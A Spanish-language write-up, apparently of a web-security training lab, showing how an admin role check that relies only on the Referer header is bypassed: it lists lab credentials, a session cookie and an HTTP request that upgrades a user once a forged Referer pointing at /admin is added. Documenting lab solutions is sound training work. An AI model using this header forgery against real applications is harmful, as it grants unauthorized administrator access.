> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/access-control/access-control-based-on-the-referer-header.md).
# Control de acceso basado en el encabezado Referer
### Control de acceso basado en Referer
Esta práctica aplica un control de acceso a las funciones de administración basado en el encabezado **Referer**. / Puedes explorar primero el panel de administración conectándote con **administrator:admin** credenciales.
Para resolver la práctica, debes iniciar sesión con el usuario **wiener:peter** y usar la validación incorrecta del Referer para obtener un rol de administrador.
#### **1. Contexto**
* Cookie de sesión para *wiener*
```bash
cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```
* Al intentar cambiar roles sin encabezado adicional, la aplicación deniega el acceso:
```http
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a19008c034b40de834b14e0009a0062.web-security-academy.net
Cookie: session=cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```
La respuesta indica que el usuario no tiene los permisos necesarios.
#### **2. Omitir la comprobación de Referer**
Si se añade un encabezado **Referer** que apunte a una página de administración legítima, la aplicación acepta la operación
```bash
Referer: https://0a19008c034b40de834b14e0009a0062.web-security-academy.net/admin
```
Con este encabezado añadido, es posible ascender a wiener y se obtiene acceso de administrador.
---
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